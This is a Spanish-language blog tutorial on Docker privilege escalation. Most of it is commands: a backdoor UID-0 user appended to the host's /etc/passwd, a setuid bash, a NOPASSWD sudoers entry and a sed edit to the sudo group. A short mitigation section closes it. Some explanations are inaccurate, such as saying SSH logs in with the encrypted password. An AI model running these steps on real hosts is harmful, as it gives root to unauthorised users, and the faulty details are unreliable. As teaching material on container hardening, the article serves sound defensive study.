Escalada de Privilegios Utilizando Docker: Ejemplos Prácticos

La escalada de privilegios es una técnica utilizada por los atacantes para obtener acceso privilegiado en un sistema. En este artículo, exploraremos dos ejemplos prácticos de escalada de privilegios utilizando Docker.

Ejemplo 1: Escalada de Privilegios con Docker y Chroot

Escenario

Supongamos que un atacante ha obtenido acceso a un contenedor Docker en un sistema Debian. El contenedor se ejecuta con privilegios elevados utilizando la opción --privileged. El objetivo del atacante es obtener acceso de root en el contenedor y, posteriormente, en el sistema host.

Pasos

  • Ejecución del Contenedor con Privilegios Elevados:El atacante ejecuta un contenedor Docker con privilegios elevados utilizando la opción --privileged:
docker run --privileged --rm -it debian bash

Instalación de Herramientas Adicionales:

apt update
apt install openssl

Generación de Contraseña Cifrada:

El atacante utiliza OpenSSL para generar una contraseña cifrada utilizando salt:

openssl passwd -1 -salt rokito temporal

El resultado será una contraseña cifrada que se utilizará más adelante para crear un nuevo usuario

  • Montaje del Sistema de Archivos:El atacante monta el sistema de archivos raíz del contenedor en un directorio temporal:
mount /dev/sda1 /mnt

Modificación del Archivo /etc/passwd:

El atacante agrega una nueva entrada al archivo /etc/passwd del sistema de archivos montado para crear un nuevo usuario con privilegios de root:

echo "rokito:$1$rokito$iLdLx8kQZUZ7gM/B7OL980:0:0:rokito,,,:/root:/bin/bash" >> /mnt/etc/passwd

Conexión al Contenedor a través de SSH:

Una vez creada la nueva entrada de usuario, el atacante se conecta al contenedor a través de SSH utilizando la contraseña cifrada generada anteriormente:

ssh rokito@localhost

Ejemplo 2: Escalada de Privilegios con Docker y chmod +s

Escenario

Supongamos que un usuario malintencionado ha obtenido acceso a un sistema como un usuario no privilegiado llamado «rokitoh». El objetivo es elevar los privilegios para obtener acceso de root al sistema.

Pasos

  • Verificación de Identidad Actual:El primer paso es verificar la identidad del usuario actual. Esto se puede hacer con el comando id.
$ id
uid=1000(rokitoh) gid=1000(rokitoh) grupos=1000(rokitoh),994(docker)
  • En este caso, el usuario «rokitoh» tiene un UID y GID de 1000 y pertenece al grupo «docker».
  • Ejecución de un Contenedor Docker con Montaje del Sistema de Archivos Raíz del Host:Se ejecuta un contenedor Docker con la opción -v para montar el sistema de archivos raíz del host dentro del contenedor.
$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
  • Esto permite acceder al sistema de archivos raíz del host desde dentro del contenedor.
  • Cambio de Permisos del Binario de Bash:Dentro del contenedor, se cambian los permisos del binario de Bash para que tenga el bit setuid.
# chmod +s /bin/bash
  • Esto permite que el binario de Bash se ejecute con los privilegios de su propietario (root).
  • Salida del Contenedor:Se sale del contenedor Docker.
  • Verificación de Identidad Después de la Escalada de Privilegios:Se verifica la identidad del usuario nuevamente.
$ id
uid=1000(rokitoh) gid=1000(rokitoh) grupos=1000(rokitoh),994(docker)

Ejecución de Bash con Permisos de Root:

Se ejecuta Bash con los permisos de root utilizando el bit setuid en el binario de Bash.

$ bash -p

Verificación de Identidad como Root:

Se verifica la identidad del usuario nuevamente dentro de Bash.

$ id
uid=1000(rokitoh) gid=1000(rokitoh) euid=0(root) egid=0(root) grupos=0(root),994(docker),1000(rokitoh)


Ejemplo 3: Agregar Usuario al Grupo Sudoers

Supongamos que un atacante ha obtenido acceso a un contenedor Docker en un sistema Debian. El objetivo es agregar el usuario «rokitoh» al archivo /mnt/etc/sudoers con permisos de root y sin necesidad de contraseña.

Pasos:

  • Ejecución del Contenedor con Montaje del Sistema de Archivos Raíz del Host:El atacante ejecuta un contenedor Docker con la opción -v para montar el sistema de archivos raíz del host dentro del contenedor.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Agregar Usuario al Archivo /mnt/etc/sudoers:

  • Dentro del contenedor, el atacante agrega una entrada para el usuario «rokitoh» en el archivo /mnt/etc/sudoers con permisos de root y sin necesidad de contraseña.
echo "rokitoh ALL=(ALL) NOPASSWD:ALL" >> /mnt/etc/sudoers

Esto permitirá al usuario «rokitoh» ejecutar comandos con privilegios de root utilizando sudo sin necesidad de ingresar una contraseña.

Ejemplo 4: Agregar Usuario al Grupo Sudoers Utilizando sed

Supongamos que un atacante ha obtenido acceso a un contenedor Docker en un sistema Debian. El objetivo es agregar el usuario «rokitoh» al grupo «sudo» en el archivo /mnt/etc/group utilizando el comando sed.

Pasos:

  • Ejecución del Contenedor con Montaje del Sistema de Archivos Raíz del Host:El atacante ejecuta un contenedor Docker con la opción -v para montar el sistema de archivos raíz del host dentro del contenedor.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
  • Agregar Usuario al Grupo Sudo en el Archivo /mnt/etc/group:

Dentro del contenedor, el atacante utiliza el comando sed para agregar el usuario «rokitoh» al grupo «sudo» en el archivo /mnt/etc/group.

sudo sed -i '/^sudo:/s/$/ rokitoh/' /mnt/etc/group

Esto agregará el usuario «rokitoh» al grupo «sudo», lo que le otorgará privilegios de root al ejecutar comandos con sudo.

Conclusiones

Este ejemplo ilustra cómo un atacante puede aprovechar los privilegios elevados de un contenedor Docker y realizar modificaciones en el sistema de archivos para obtener acceso de root. Para mitigar este tipo de amenazas, es crucial implementar medidas de seguridad adecuadas, como limitar los privilegios de los contenedores, monitorear las actividades sospechosas y aplicar parches de seguridad regularmente.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *